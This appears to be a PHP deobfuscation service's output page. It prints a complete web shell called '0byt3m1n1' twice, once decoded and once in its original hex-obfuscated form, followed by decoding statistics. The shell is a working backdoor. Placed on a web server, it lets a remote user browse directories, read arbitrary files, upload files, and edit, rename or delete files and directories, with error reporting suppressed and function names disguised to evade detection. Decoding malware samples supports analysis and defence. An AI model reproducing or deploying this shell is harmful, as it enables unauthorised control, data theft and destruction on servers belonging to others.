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PHP Decode

<?php /* 0 b y t 3 m 1 n 1 - 2.2 Bypass 403 Forbidden / Auto Delete Shell / P..

Decoded Output download

<?php 
 
/* 
    0 b y t 3 m 1 n 1 - 2.2 
    Bypass 403 Forbidden / Auto Delete Shell / PHP Malware Detector / Minishell 
*/ 
 
set_time_limit(0); 
error_reporting(0); 
error_log(0); 
 
$sname       = "0byt3m1n1" . "-V2"; 
$__gcdir     = "g" . "etcwd"; 
$__fgetcon7s = "file" . "_get_contents"; 
$__scdir     = "s" . "candi" . "r"; 
$rm__dir     = "rmd" . "ir"; 
$un__link    = "un" . "link"; 
 
if (get_magic_quotes_gpc()) { 
    foreach ($_POST as $key => $value) { 
        $_POST[$key] = stripslashes($value); 
    } 
} 
 
echo '<!DOCTYPE html><html><head><meta name="robots" content"noindex. nofollow"><link href="https://fonts.googleapis.com/css?family=VT323" rel="stylesheet"><title>'.$sname.'</title><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script><link href="//zerobyte-id.github.io/PHP-Backdoor/inc/m1n1.css" rel="stylesheet" type="text/css"></head><body>'; 
 
echo '<div style="color:#ef6c00;margin-top:0;"><h1><center>' . $sname . '</center></h1></div>'; 
if (isset($_GET['path'])) { 
    $path = $_GET['path']; 
    chdir($_GET['path']); 
} else { 
    $path = $__gcdir(); 
} 
$path  = str_replace("\", "/", $path); 
$paths = explode("/", $path); 
echo '<table width="100%" border="0" align="center" style="margin-top:-10px;"><tr><td>'; 
echo "<font style='font-size:13px;'>Path: "; 
foreach ($paths as $id => $pat) { 
    echo "<a style='font-size:13px;' href='?path="; 
    for ($i = 0; $i <= $id; $i++) { 
        echo $paths[$i]; 
        if ($i != $id) { 
            echo "/"; 
        } 
    } 
    echo "'>$pat</a>/"; 
} 
echo '<br>[ <a href="?">Home</a> ]</font></td><td align="center" width="27%"><form enctype="multipart/form-data" method="POST"><input type="file" name="file" style="color:#ef6c00;margin-bottom:4px;"/><input type="submit" value="Upload" /></form></td></tr><tr><td colspan="2">'; 
if (isset($_FILES['file'])) { 
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) { 
        echo '<center><font color="#00ff00">Upload OK!</font></center><br/>'; 
    } else { 
        echo '<center><font color="red">Upload FAILED!</font></center><br/>'; 
    } 
} 
echo '</td></tr><tr><td></table><div class="table-div"></div><input id="image" type="hidden">'; 
echo ''; 
if (isset($_GET['filesrc'])) { 
    echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr><td>File: '; 
    echo "" . basename($_GET['filesrc']); 
    ""; 
    echo '</tr></td></table><br />'; 
    echo ("<center><textarea readonly=''>" . htmlspecialchars($__fgetcon7s($_GET['filesrc'])) . "</textarea></center>"); 
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') { 
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />'; 
    if ($_POST['opt'] == 'rename') { 
        if (isset($_POST['newname'])) { 
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) { 
                echo '<center><font color="#00ff00">Rename OK!</font></center><br />'; 
            } else { 
                echo '<center><font color="red">Rename Failed!</font></center><br />'; 
            } 
            $_POST['name'] = $_POST['newname']; 
        } 
        echo '<form method="POST">New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" /> <input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="rename"><input type="submit" value="Go" /></form>'; 
    } elseif ($_POST['opt'] == 'edit') { 
        if (isset($_POST['src'])) { 
            $fp = fopen($_POST['path'], 'w'); 
            if (fwrite($fp, $_POST['src'])) { 
                echo '<center><font color="#00ff00">Edit File OK!.</font></center><br />'; 
            } else { 
                echo '<center><font color="red">Edit File Failed!.</font></center><br />'; 
            } 
            fclose($fp); 
        } 
        echo '<form method="POST"><textarea cols=80 rows=20 name="src">' . htmlspecialchars($__fgetcon7s($_POST['path'])) . '</textarea><br /><input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="edit"><input type="submit" value="Go" /></form>'; 
    } 
    echo '</center>'; 
} else { 
    echo '</table><br /><center>'; 
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') { 
        if ($_POST['type'] == 'dir') { 
            if ($rm__dir($_POST['path'])) { 
                echo '<center><font color="#00ff00">Dir Deleted!</font></center><br />'; 
            } else { 
                echo '<center><font color="red">Delete Dir Failed!</font></center><br />'; 
            } 
        } elseif ($_POST['type'] == 'file') { 
            if ($un__link($_POST['path'])) { 
                echo '<font color="#00ff00">Delete File Done.</font><br />'; 
            } else { 
                echo '<font color="red">Delete File Error.</font><br />'; 
            } 
        } 
    } 
    echo '</center>'; 
    $_scdir = $__scdir($path); 
    echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr class="first"> <th><center>Name</center></th><th width="12%"><center>Size</center></th><th width="10%"><center>Permissions</center></th> <th width="15%"><center>Last Update</center></th><th width="11%"><center>Options</center></th></tr>'; 
    foreach ($_scdir as $dir) { 
        if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..') 
            continue; 
        echo "<tr><td>[D] <a href=\"?path=$path/$dir\">$dir</a></td><td><center>--</center></td><td><center>"; 
        if (is_writable("$path/$dir")) 
            echo '<font color="#00ff00">'; 
        elseif (!is_readable("$path/$dir")) 
            echo '<font color="red">'; 
        echo perms("$path/$dir"); 
        if (is_writable("$path/$dir") || !is_readable("$path/$dir")) 
            echo '</font>'; 
        echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("$path/$dir")) . ""; 
        echo "</center></td> <td><center><form method=\"POST\" action=\"?option&path=$path\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option></select><input type=\"hidden\" name=\"type\" value=\"dir\"><input type=\"hidden\" name=\"name\" value=\"$dir\"><input type=\"hidden\" name=\"path\" value=\"$path/$dir\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>"; 
    } 
    foreach ($_scdir as $file) { 
        if (!is_file("$path/$file")) 
            continue; 
        $size = filesize("$path/$file") / 1024; 
        $size = round($size, 3); 
        if ($size >= 1024) { 
            $size = round($size / 1024, 2) . ' MB'; 
        } else { 
            $size = $size . ' KB'; 
        } 
        echo "<tr><td>[F] <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td><td><center>" . $size . "</center></td><td><center>"; 
        if (is_writable("$path/$file")) 
            echo '<font color="#00ff00">'; 
        elseif (!is_readable("$path/$file")) 
            echo '<font color="red">'; 
        echo perms("$path/$file"); 
        if (is_writable("$path/$file") || !is_readable("$path/$file")) 
            echo '</font>'; 
        echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("$path/$file")) . ""; 
        echo "</center></td><td><center><form method=\"POST\" action=\"?option&path=$path\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option><option value=\"edit\">Edit</option></select><input type=\"hidden\" name=\"type\" value=\"file\"><input type=\"hidden\" name=\"name\" value=\"$file\"><input type=\"hidden\" name=\"path\" value=\"$path/$file\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>"; 
    } 
    echo '</table></div>'; 
} 
function perms($file) 
{ 
    $perms = fileperms($file); 
    if (($perms & 0xC000) == 0xC000) { 
        $info = 's'; 
    } elseif (($perms & 0xA000) == 0xA000) { 
        $info = 'l'; 
    } elseif (($perms & 0x8000) == 0x8000) { 
        $info = '-'; 
    } elseif (($perms & 0x6000) == 0x6000) { 
        $info = 'b'; 
    } elseif (($perms & 0x4000) == 0x4000) { 
        $info = 'd'; 
    } elseif (($perms & 0x2000) == 0x2000) { 
        $info = 'c'; 
    } elseif (($perms & 0x1000) == 0x1000) { 
        $info = 'p'; 
    } else { 
        $info = 'u'; 
    } 
    $info .= (($perms & 0x0100) ? 'r' : '-'); 
    $info .= (($perms & 0x0080) ? 'w' : '-'); 
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); 
    $info .= (($perms & 0x0020) ? 'r' : '-'); 
    $info .= (($perms & 0x0010) ? 'w' : '-'); 
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); 
    $info .= (($perms & 0x0004) ? 'r' : '-'); 
    $info .= (($perms & 0x0002) ? 'w' : '-'); 
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); 
    return $info; 
} 
echo '<br><center>&copy; <span id="footer"></span> 2018.</center><br>'; 
echo '<script type="text/javascript" src="//zerobyte-id.github.io/PHP-Backdoor/inc/footer.js"></script>'; 
echo '</body></html><!-- EOF -->'; 
?>

Did this file decode correctly?

Original Code

<?php

/*
    0 b y t 3 m 1 n 1 - 2.2
    Bypass 403 Forbidden / Auto Delete Shell / PHP Malware Detector / Minishell
*/

set_time_limit(0);
error_reporting(0);
error_log(0);

$sname       = "\x30\x62\x79\x74\x33\x6d\x31\x6e\x31" . "-V2";
$__gcdir     = "\x67" . "\x65\x74\x63\x77\x64";
$__fgetcon7s = "\x66\x69\x6c\x65" . "\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$__scdir     = "s" . "\x63\x61\x6e\x64\x69" . "r";
$rm__dir     = "\x72\x6d\x64" . "ir";
$un__link    = "\x75\x6e" . "\x6c\x69\x6e\x6b";

if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}

echo '<!DOCTYPE html><html><head><meta name="robots" content"noindex. nofollow"><link href="https://fonts.googleapis.com/css?family=VT323" rel="stylesheet"><title>'.$sname.'</title><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script><link href="//zerobyte-id.github.io/PHP-Backdoor/inc/m1n1.css" rel="stylesheet" type="text/css"></head><body>';

echo '<div style="color:#ef6c00;margin-top:0;"><h1><center>' . $sname . '</center></h1></div>';
if (isset($_GET['path'])) {
    $path = $_GET['path'];
    chdir($_GET['path']);
} else {
    $path = $__gcdir();
}
$path  = str_replace("\\", "/", $path);
$paths = explode("/", $path);
echo '<table width="100%" border="0" align="center" style="margin-top:-10px;"><tr><td>';
echo "<font style='font-size:13px;'>Path: ";
foreach ($paths as $id => $pat) {
    echo "<a style='font-size:13px;' href='?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo $paths[$i];
        if ($i != $id) {
            echo "/";
        }
    }
    echo "'>$pat</a>/";
}
echo '<br>[ <a href="?">Home</a> ]</font></td><td align="center" width="27%"><form enctype="multipart/form-data" method="POST"><input type="file" name="file" style="color:#ef6c00;margin-bottom:4px;"/><input type="submit" value="Upload" /></form></td></tr><tr><td colspan="2">';
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo '<center><font color="#00ff00">Upload OK!</font></center><br/>';
    } else {
        echo '<center><font color="red">Upload FAILED!</font></center><br/>';
    }
}
echo '</td></tr><tr><td></table><div class="table-div"></div><input id="image" type="hidden">';
echo '';
if (isset($_GET['filesrc'])) {
    echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr><td>File: ';
    echo "" . basename($_GET['filesrc']);
    "";
    echo '</tr></td></table><br />';
    echo ("<center><textarea readonly=''>" . htmlspecialchars($__fgetcon7s($_GET['filesrc'])) . "</textarea></center>");
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    if ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo '<center><font color="#00ff00">Rename OK!</font></center><br />';
            } else {
                echo '<center><font color="red">Rename Failed!</font></center><br />';
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" /> <input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="rename"><input type="submit" value="Go" /></form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo '<center><font color="#00ff00">Edit File OK!.</font></center><br />';
            } else {
                echo '<center><font color="red">Edit File Failed!.</font></center><br />';
            }
            fclose($fp);
        }
        echo '<form method="POST"><textarea cols=80 rows=20 name="src">' . htmlspecialchars($__fgetcon7s($_POST['path'])) . '</textarea><br /><input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="edit"><input type="submit" value="Go" /></form>';
    }
    echo '</center>';
} else {
    echo '</table><br /><center>';
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if ($rm__dir($_POST['path'])) {
                echo '<center><font color="#00ff00">Dir Deleted!</font></center><br />';
            } else {
                echo '<center><font color="red">Delete Dir Failed!</font></center><br />';
            }
        } elseif ($_POST['type'] == 'file') {
            if ($un__link($_POST['path'])) {
                echo '<font color="#00ff00">Delete File Done.</font><br />';
            } else {
                echo '<font color="red">Delete File Error.</font><br />';
            }
        }
    }
    echo '</center>';
    $_scdir = $__scdir($path);
    echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr class="first"> <th><center>Name</center></th><th width="12%"><center>Size</center></th><th width="10%"><center>Permissions</center></th> <th width="15%"><center>Last Update</center></th><th width="11%"><center>Options</center></th></tr>';
    foreach ($_scdir as $dir) {
        if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..')
            continue;
        echo "<tr><td>[D] <a href=\"?path=$path/$dir\">$dir</a></td><td><center>--</center></td><td><center>";
        if (is_writable("$path/$dir"))
            echo '<font color="#00ff00">';
        elseif (!is_readable("$path/$dir"))
            echo '<font color="red">';
        echo perms("$path/$dir");
        if (is_writable("$path/$dir") || !is_readable("$path/$dir"))
            echo '</font>';
        echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("$path/$dir")) . "";
        echo "</center></td> <td><center><form method=\"POST\" action=\"?option&path=$path\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option></select><input type=\"hidden\" name=\"type\" value=\"dir\"><input type=\"hidden\" name=\"name\" value=\"$dir\"><input type=\"hidden\" name=\"path\" value=\"$path/$dir\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>";
    }
    foreach ($_scdir as $file) {
        if (!is_file("$path/$file"))
            continue;
        $size = filesize("$path/$file") / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size = $size . ' KB';
        }
        echo "<tr><td>[F] <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td><td><center>" . $size . "</center></td><td><center>";
        if (is_writable("$path/$file"))
            echo '<font color="#00ff00">';
        elseif (!is_readable("$path/$file"))
            echo '<font color="red">';
        echo perms("$path/$file");
        if (is_writable("$path/$file") || !is_readable("$path/$file"))
            echo '</font>';
        echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("$path/$file")) . "";
        echo "</center></td><td><center><form method=\"POST\" action=\"?option&path=$path\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option><option value=\"edit\">Edit</option></select><input type=\"hidden\" name=\"type\" value=\"file\"><input type=\"hidden\" name=\"name\" value=\"$file\"><input type=\"hidden\" name=\"path\" value=\"$path/$file\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>";
    }
    echo '</table></div>';
}
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xC000) == 0xC000) {
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        $info = 'p';
    } else {
        $info = 'u';
    }
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    return $info;
}
echo '<br><center>&copy; <span id="footer"></span> 2018.</center><br>';
echo '<script type="text/javascript" src="//zerobyte-id.github.io/PHP-Backdoor/inc/footer.js"></script>';
echo '</body></html><!-- EOF -->';
?>

Function Calls

error_log 1
set_time_limit 1
error_reporting 1

Variables

None

Stats

MD5 763cd53cf5e4f79550414ef186d9a75d
Eval Count 0
Decode Time 106 ms